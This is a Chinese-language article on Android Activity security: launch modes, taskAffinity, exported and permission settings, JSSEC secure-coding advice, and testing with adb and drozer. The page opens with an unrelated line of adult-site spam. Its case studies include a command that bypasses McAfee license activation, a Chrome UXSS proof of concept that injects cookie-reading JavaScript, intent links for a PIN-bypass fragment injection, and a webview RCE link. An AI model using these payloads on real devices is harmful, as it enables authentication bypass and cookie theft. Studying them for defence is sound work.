自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Android Activtity Security

移動(dòng)開發(fā)
一個(gè)應(yīng)用程序可以只有一個(gè)activity,或如剛才提到的短信應(yīng)用程序那樣,包含很多個(gè)。每個(gè)activity的作用,以及其數(shù)目,自然取決于應(yīng)用程序及其設(shè)計(jì)。一般情況下,總有一個(gè)應(yīng)用程序被標(biāo)記為用戶在應(yīng)用程序啟動(dòng)的時(shí)候第一個(gè)看到的。從一個(gè)activity轉(zhuǎn)向另一個(gè)的方式是靠當(dāng)前的activity啟動(dòng)下一個(gè)。

Android每一個(gè)Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本組件所組成,其中Activity是實(shí)現(xiàn)應(yīng)用程序的主體,它承擔(dān)了大量的顯示和交互工作,甚至可以理解為一個(gè)"界面"就是一個(gè)Activity。

Activity是為用戶操作而展示的可視化用戶界面。比如說,一個(gè)activity可以展示一個(gè)菜單項(xiàng)列表供用戶選擇,或者顯示一些包含說明的照片。一個(gè)短消息應(yīng)用程序可以包括一個(gè)用于顯示做為發(fā)送對(duì)象的聯(lián)系人的列表的activity,一個(gè)給選定的聯(lián)系人寫短信的activity以及翻閱以前的短信和改變?cè)O(shè)置的activity。盡管它們一起組成了一個(gè)內(nèi)聚的用戶界面,但其中每個(gè)activity都與其它的保持獨(dú)立。每個(gè)都是以Activity類為基類的子類實(shí)現(xiàn)。

一個(gè)應(yīng)用程序可以只有一個(gè)activity,或如剛才提到的短信應(yīng)用程序那樣,包含很多個(gè)。每個(gè)activity的作用,以及其數(shù)目,自然取決于應(yīng)用程序及其設(shè)計(jì)。一般情況下,總有一個(gè)應(yīng)用程序被標(biāo)記為用戶在應(yīng)用程序啟動(dòng)的時(shí)候第一個(gè)看到的。從一個(gè)activity轉(zhuǎn)向另一個(gè)的方式是靠當(dāng)前的activity啟動(dòng)下一個(gè)。

 

0x01 知識(shí)要點(diǎn)

 

參考:http://developer.android.com/guide/components/activities.html

生命周期

啟動(dòng)方式

顯示啟動(dòng)

配置文件中注冊(cè)組件

 

  1. <activity android:name=".ExampleActivity" android:icon="@drawable/app_icon"
  2. <intent-filter> 
  3. <action android:name="android.intent.action.MAIN" /> 
  4. <category android:name="android.intent.category.LAUNCHER" /> 
  5. </intent-filter> 
  6. </activity> 

直接使用intent對(duì)象指定application以及activity啟動(dòng)

  1. Intent intent = new Intent(this, ExampleActivity.class); 
  2. startActivity(intent); 

未配置intent-filter的action屬性,activity只能使用顯示啟動(dòng)。

私有Activity推薦使用顯示啟動(dòng)。

隱式啟動(dòng)

Intent intent = new Intent(Intent.ACTION_SEND);

 

intent.putExtra(Intent.EXTRA_EMAIL, recipientArray);

 

startActivity(intent);

 

加載模式launch mode

Activity有四種加載模式:

standard:默認(rèn)行為。每次啟動(dòng)一個(gè)activity,系統(tǒng)都會(huì)在目標(biāo)task新建一個(gè)實(shí)例。

 

singleTop:如果目標(biāo)activity的實(shí)例已經(jīng)存在于目標(biāo)task的棧頂,系統(tǒng)會(huì)直接使用該實(shí)例,并調(diào)用該activity的onNewIntent()(不會(huì)重新create)

 

singleTask:在一個(gè)新任務(wù)的棧頂創(chuàng)建activity的實(shí)例。如果實(shí)例已經(jīng)存在,系統(tǒng)會(huì)直接使用該實(shí)例,并調(diào)用該activity的onNewIntent()(不會(huì)重新create)

 

singleInstance:和"singleTask"類似,但在目標(biāo)activity的task中不會(huì)再運(yùn)行其他的activity,在那個(gè)task中永遠(yuǎn)只有一個(gè)activity。

 

設(shè)置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 屬性:

 

  1. <activity android:name="ActB" android:launchMode="singleTask"></activity> 

Activity launch mode 用于控制創(chuàng)建task和Activity實(shí)例。默認(rèn)“standard“模式。Standard模式一次啟動(dòng)即會(huì)生成一個(gè)新的Activity實(shí)例并且不會(huì)創(chuàng)建新的task,被啟動(dòng)的Activity和啟動(dòng)的Activity在同一個(gè)棧中。當(dāng)創(chuàng)建新的task時(shí),intent中的內(nèi)容有可能被惡意應(yīng)用讀取所以建議若無特別需求使用默認(rèn)的standard模式即不配置launch mode屬性。launchMode能被Intent 的flag覆蓋。

taskAffinity

android系統(tǒng)中task管理Activity。Task的命名取決于root Activity的affinity。

默認(rèn)情況下,app中的每個(gè)Activity都使用app的包名作為affinity。而Task的分配取決于app,故默認(rèn)情況下一個(gè)app中所有的Activity屬于同一task。要改變task的分配,可以在AndroidManifest.xml文件中設(shè)置affinity的值,但是這樣做會(huì)有不同task啟動(dòng)Activity攜帶的intent中的信息被其他應(yīng)用讀取的風(fēng)險(xiǎn)。

FLAG_ACTIVITY_NEW_TASK

intent flag中一個(gè)重要的flag

啟動(dòng)Activity時(shí)通過setFlags()或者addFlags()方法設(shè)置intent的flags屬性能夠改變launch mode,F(xiàn)LAG_ACTIVITY_NEW_TASK標(biāo)記代表創(chuàng)建新的task(被啟動(dòng)的Activity既不在前臺(tái)也不在后臺(tái))。FLAG_ACTIVITY_MULTIPLE_TASK標(biāo)記能和FLAG_ACTIVITY_NEW_TASK同時(shí)設(shè)置。這種情況下必會(huì)創(chuàng)建的task,所以intent中不應(yīng)攜帶敏感數(shù)據(jù)。

Task

stack:Activity承擔(dān)了大量的顯示和交互工作,從某種角度上將,我們看見的應(yīng)用程序就是許多個(gè)Activity的組合。為了讓這許多 Activity協(xié)同工作而不至于產(chǎn)生混亂,Android平臺(tái)設(shè)計(jì)了一種堆棧機(jī)制用于管理Activity,其遵循先進(jìn)后出的原則,系統(tǒng)總是顯示位于棧頂?shù)腁ctivity,位于棧頂?shù)腁ctivity也就是最后打開的Activity。

Task:是指將相關(guān)的Activity組合到一起,以Activity Stack的方式進(jìn)行管理。從用戶體驗(yàn)上講,一個(gè)“應(yīng)用程序”就是一個(gè)Task,但是從根本上講,一個(gè)Task是可以有一個(gè)或多個(gè)Android Application組成的

如果用戶離開一個(gè)task很長(zhǎng)時(shí)間,系統(tǒng)會(huì)清理?xiàng)m斠韵碌腶ctivity,這樣task被從新打開時(shí),棧頂activity就被還原了。

Intent Selector

多個(gè)Activity具有相同action時(shí),當(dāng)此調(diào)用此action時(shí)會(huì)彈出一個(gè)選擇器供用戶選擇。

權(quán)限

android:exported

一個(gè)Activity組件能否被外部應(yīng)用啟動(dòng)取決于此屬性,設(shè)置為true時(shí)Activity可以被外部應(yīng)用啟動(dòng),設(shè)置為false則不能,此時(shí)Activity只能被自身app啟動(dòng)。(同user id或者root也能啟動(dòng))

沒有配置intent-filter的action屬性exported默認(rèn)為false(沒有filter只能通過明確的類名來啟動(dòng)activity故相當(dāng)于只有程序本身能啟動(dòng)),配置了intent-filter的action屬性exported默認(rèn)為true。

exported屬性只是用于限制Activity是否暴露給其他app,通過配置文件中的權(quán)限申明也可以限制外部啟動(dòng)activity。

android:protectionLevel

http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html

normal:默認(rèn)值。低風(fēng)險(xiǎn)權(quán)限,只要申請(qǐng)了就可以使用,安裝時(shí)不需要用戶確認(rèn)。

dangerous:像WRITE_SETTING和SEND_SMS等權(quán)限是有風(fēng)險(xiǎn)的,因?yàn)檫@些權(quán)限能夠用來重新配置設(shè)備或者導(dǎo)致話費(fèi)。使用此protectionLevel來標(biāo)識(shí)用戶可能關(guān)注的一些權(quán)限。Android將會(huì)在安裝程序時(shí),警示用戶關(guān)于這些權(quán)限的需求,具體的行為可能依據(jù)Android版本或者所安裝的移動(dòng)設(shè)備而有所變化。

signature:這些權(quán)限僅授予那些和本程序應(yīng)用了相同密鑰來簽名的程序。

signatureOrSystem:與signature類似,除了一點(diǎn),系統(tǒng)中的程序也需要有資格來訪問。這樣允許定制Android系統(tǒng)應(yīng)用也能獲得權(quán)限,這種保護(hù)等級(jí)有助于集成系統(tǒng)編譯過程。

  1. <!-- *** POINT 1 *** Define a permission with protectionLevel="signature" --> 
  2. <permission 
  3. android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION" 
  4. android:protectionLevel="signature" /> 
  5. <application 
  6. android:icon="@drawable/ic_launcher" 
  7. android:label="@string/app_name" > 
  8. <!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute --> 
  9. <activity 
  10. android:name=".ProtectedActivity" 
  11. android:exported="true" 
  12. android:label="@string/app_name" 
  13. android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" > 
  14. <!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter --> 
  15. </activity> 
  16.  
  17. 關(guān)鍵方法 
  18.  
  19. onCreate(Bundle savedInstanceState) 
  20. setResult(int resultCode, Intent data) 
  21. startActivity(Intent intent) 
  22. startActivityForResult(Intent intent, int requestCode) 
  23. onActivityResult(int requestCode, int resultCode, Intent data) 
  24. setResult (int resultCode, Intent data) 
  25. getStringExtra (String name) 
  26. addFlags(int flags) 
  27. setFlags(int flags) 
  28. setPackage(String packageName) 
  29. getAction() 
  30. setAction(String action) 
  31. getData() 
  32. setData(Uri data) 
  33. getExtras() 
  34. putExtra(String name, String value) 

0x02 Activity分類

Activity類型和使用方式?jīng)Q定了其風(fēng)險(xiǎn)和防御方式,故將Activity分類如下: Private、Public、Parter、In-house

private activity

私有Activity不應(yīng)被其他應(yīng)用啟動(dòng)相對(duì)是安全的

創(chuàng)建activity時(shí):

1、不指定taskAffinity //task管理activity。task的名字取決于根activity的affinity。默認(rèn)設(shè)置中Activity使用包名做為affinity。task由app分配,所以一個(gè)應(yīng)用的Activity在默認(rèn)情況下屬于相同task??鐃ask啟動(dòng)Activity的intent有可能被其他app讀取到。

2、不指定lunchMode //默認(rèn)standard,建議使用默認(rèn)。創(chuàng)建新task時(shí)有可能被其他應(yīng)用讀取intent的內(nèi)容。

3、設(shè)置exported屬性為false

4、謹(jǐn)慎處理從intent中接收的數(shù)據(jù),不管是否內(nèi)部發(fā)送的intent

5、敏感信息只能在應(yīng)用內(nèi)部操作

使用activity時(shí):

6、開啟activity時(shí)不設(shè)置FLAG_ACTIVITY_NEW_TASK標(biāo)簽 //FLAG_ACTIVITY_NEW_TASK標(biāo)簽用于創(chuàng)建新task(被啟動(dòng)的Activity并未在棧中)。

7、開啟應(yīng)用內(nèi)部activity使用顯示啟動(dòng)的方式

8、當(dāng)putExtra()包含敏感信息目的應(yīng)是app內(nèi)的activity

9、謹(jǐn)慎處理返回?cái)?shù)據(jù),即可數(shù)據(jù)來自相同應(yīng)用

 

public activity

 

公開暴露的Activity組件,可以被任意應(yīng)用啟動(dòng)

創(chuàng)建activity:

1、設(shè)置exported屬性為true

2、謹(jǐn)慎處理接收的intent

3、有返回?cái)?shù)據(jù)時(shí)不應(yīng)包含敏感信息

使用activity:

4、不應(yīng)發(fā)送敏感信息

5、當(dāng)收到返回?cái)?shù)據(jù)時(shí)謹(jǐn)慎處理

Parter、in-house部分參閱http://www.jssec.org/dl/android_securecoding_en.pdf

安全建議

app內(nèi)使用的私有Activity不應(yīng)配置intent-filter,如果配置了intent-filter需設(shè)置exported屬性為false。

 

使用默認(rèn)taskAffinity

 

使用默認(rèn)launchMode

 

啟動(dòng)Activity時(shí)不設(shè)置intent的FLAG_ACTIVITY_NEW_TASK標(biāo)簽

 

謹(jǐn)慎處理接收的intent以及其攜帶的信息

 

簽名驗(yàn)證內(nèi)部(in-house)app

 

當(dāng)Activity返回?cái)?shù)據(jù)時(shí)候需注意目標(biāo)Activity是否有泄露信息的風(fēng)險(xiǎn)

 

目的Activity十分明確時(shí)使用顯示啟動(dòng)

 

謹(jǐn)慎處理Activity返回的數(shù)據(jù),目的Activity返回的數(shù)據(jù)有可能是惡意應(yīng)用偽造的

 

驗(yàn)證目標(biāo)Activity是否惡意app,以免受到intent欺騙,可用hash簽名驗(yàn)證

 

When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection

 

盡可能的不發(fā)送敏感信息,應(yīng)考慮到啟動(dòng)public Activity中intent的信息均有可能被惡意應(yīng)用竊取的風(fēng)險(xiǎn)

 

0x04 測(cè)試方法

查看activity:

反編譯查看配置文件AndroidManifest.xml中activity組件(關(guān)注配置了intent-filter的及未設(shè)置export=“false”的)

 

直接用RE打開安裝后的app查看配置文件

 

Drozer掃描:run app.activity.info -a packagename

 

動(dòng)態(tài)查看:logcat設(shè)置filter的tag為ActivityManager

 

啟動(dòng)activity:

adb shell:am start -a action -n package/componet

 

drozer: run app.activity.start --action android.action.intent.VIEW ...

 

自己編寫app調(diào)用startActiviy()或startActivityForResult()

 

瀏覽器intent scheme遠(yuǎn)程啟動(dòng):http://drops.wooyun.org/tips/2893

 

0x05 案例

案例1:繞過本地認(rèn)證

WooYun: 華為網(wǎng)盤android客戶端本地密碼繞過(非root也可以)

繞過McAfee的key驗(yàn)證,免費(fèi)激活。

$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain

案例2:本地拒絕服務(wù)

WooYun: 快玩瀏覽器android客戶端本地拒絕服務(wù)

WooYun: 雪球android客戶端本地拒絕服務(wù)漏洞

WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)

WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)

WooYun: Android原生的Settings應(yīng)用存在必現(xiàn)崩潰問題(可造成拒絕服務(wù)攻擊) (涉及fragment)

案例3:界面劫持

WooYun: android利用懸浮窗口實(shí)現(xiàn)界面劫持釣魚盜號(hào)

案例4:UXSS

漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允許惡意應(yīng)用注入js代碼到任意域. 部分 AndroidManifest.xml配置文件如下

  1. <activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
  2. <intent-filter> 
  3. <action android:name="android.intent.action.VIEW" /> 
  4. <category android:name="android.intent.category.DEFAULT" /> 
  5. </intent-filter> 
  6. </activity> 
  7.  
  8. Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未設(shè)置 "android:exported" 為 "false". 惡意應(yīng)用先調(diào)用該類并設(shè)置data為” http://google.com” 再次調(diào)用時(shí)設(shè)置data為惡意js例如'javascript:alert(document.cookie)', 惡意代碼將在http://google.com域中執(zhí)行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通過Android api或者am(activityManager)打開. POC如下 
  9.  
  10. public class TestActivity extends Activity { 
  11. @Override 
  12. public void onCreate(Bundle savedInstanceState) { 
  13. super.onCreate(savedInstanceState); 
  14. Intent i = new Intent(); 
  15. ComponentName comp = new ComponentName( 
  16. "com.android.chrome"
  17. "com.google.android.apps.chrome.SimpleChromeActivity"); 
  18. i.setComponent(comp); 
  19. i.setAction("android.intent.action.VIEW"); 
  20. Uri data = Uri.parse("http://google.com"); 
  21. i.setData(data); 
  22.  
  23. startActivity(i); 
  24.  
  25. try { 
  26. Thread.sleep(5000); 
  27. catch (Exception e) {} 
  28.  
  29. data = Uri.parse("javascript:alert(document.cookie)"); 
  30. i.setData(data); 
  31.  
  32. startActivity(i); 

案例5:隱式啟動(dòng)intent包含敏感數(shù)據(jù)

暫缺可公開案例,攻擊模型如下圖。

案例6:Fragment注入(繞過PIN+拒絕服務(wù))

Fragment這里只提一下,以后可能另寫一篇。

  1. <a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end"
  2. 16、bypass Pin android 3.0-4.3 (selector) 
  3. </a><p> 
  4.  
  5. <a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end"
  6. 17、fragment dos android 4.4 (selector) 
  7. </a><p> 

案例7:webview RCE

  1. <a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end"

 

 

 

 

責(zé)任編輯:chenqingxiang
相關(guān)推薦

2021-04-23 07:33:10

SpringSecurity單元

2021-08-29 18:36:57

項(xiàng)目

2012-11-30 10:29:47

2010-09-27 15:43:32

2023-10-10 22:24:16

2009-10-15 15:52:53

2022-08-30 08:50:07

Spring權(quán)限控制

2009-05-18 09:19:55

CCIE安全考試面試

2022-08-15 08:42:46

權(quán)限控制Spring

2023-04-10 11:41:15

2022-08-30 08:43:11

Spring權(quán)限控制

2022-08-30 08:36:13

Spring權(quán)限控制

2009-08-28 09:45:07

最新思科認(rèn)證CCNA Securi

2022-08-30 08:55:49

Spring權(quán)限控制

2022-08-15 08:45:21

Spring權(quán)限控制

2022-06-16 10:38:24

URL權(quán)限源代碼

2022-08-31 11:15:07

data securBig Data

2012-09-13 14:46:44

2021-04-28 06:26:11

Spring Secu功能實(shí)現(xiàn)源碼分析

2021-06-07 14:06:19

Spring SecuCSRF防御
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)